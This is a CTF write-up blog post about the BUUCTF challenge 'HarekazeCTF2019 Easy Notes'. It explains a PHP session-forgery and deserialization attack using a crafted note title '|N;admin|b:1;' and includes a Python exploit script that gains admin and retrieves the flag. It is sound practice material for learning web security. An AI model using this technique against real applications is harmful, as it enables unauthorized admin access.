BUUCTF：[HarekazeCTF2019]Easy Notes

最新推荐文章于 2024-08-28 11:29:07 发布

末初

最新推荐文章于 2024-08-28 11:29:07 发布

阅读量1.7k

点赞数 2

分类专栏： CTF_WEB_Writeup 文章标签： Easy Notes HarekazeCTF2019

本文链接：https://blog.csdn.net/mochu7777777/article/details/107568406

版权

CTF_WEB_Writeup 专栏收录该内容

172 篇文章 63 订阅

订阅专栏

题目地址：https://buuoj.cn/challenges#[HarekazeCTF2019]Easy%20Notes
在这里插入图片描述
Session伪造 + Session反序列化
session反序列化问题请参考：https://blog.csdn.net/mochu7777777/article/details/106909777

flag.php
在这里插入图片描述
满足is_admin()即给出flag

无数据库操作，即通过识别session辨别身份

session保存路径为/var/www/tmp
在这里插入图片描述

Add note写入的文件也保存在这个目录，并且$filename满足session文件名要求：以 sess_ 开头，且只含有 a-z，A-Z，0-9，-

那么只需要创建一个用户名为： sess_
Ubuntu默认安装的PHP中session.serialize_handler默认设置为php，而这种引擎特点是即可使用|作为键值隔离符。利用|即可将序列化字符串拼接
然后Add note提交title为：|N;admin|b:1;，这样反序列化结果即可为：admin==bool(true)
最后export.php?type=.即可使得这个.与前面的.拼接成..被替换为空，$filename也就成为了session文件名了

在这里插入图片描述

在这里插入图片描述
接下来只需要将这个文件名sess_后的部分-1efc41617c4985c1填入PHPSESSID的值即可反序列化得到flag

貼个网上的脚本：

import re
import requests
URL = 'http://a57fc9a9-2abd-4fcd-b11b-246e3e346706.node3.buuoj.cn/'

while True:
	# login as sess_
	sess = requests.Session()
	sess.post(URL + 'login.php', data={
		'user': 'sess_'
	})

	# make a crafted note
	sess.post(URL + 'add.php', data={
		'title': '|N;admin|b:1;',
		'body': 'hello'
	})

	# make a fake session
	r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
	print(r)
	
	sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
	print(sessid)
	
	# get the flag
	r = requests.get(URL + '?page=flag', cookies={
		'PHPSESSID': sessid
	}).content.decode('utf-8')
	flag = re.findall(r'flag\{.+\}', r)

	if len(flag) > 0:
		print(flag[0])
		break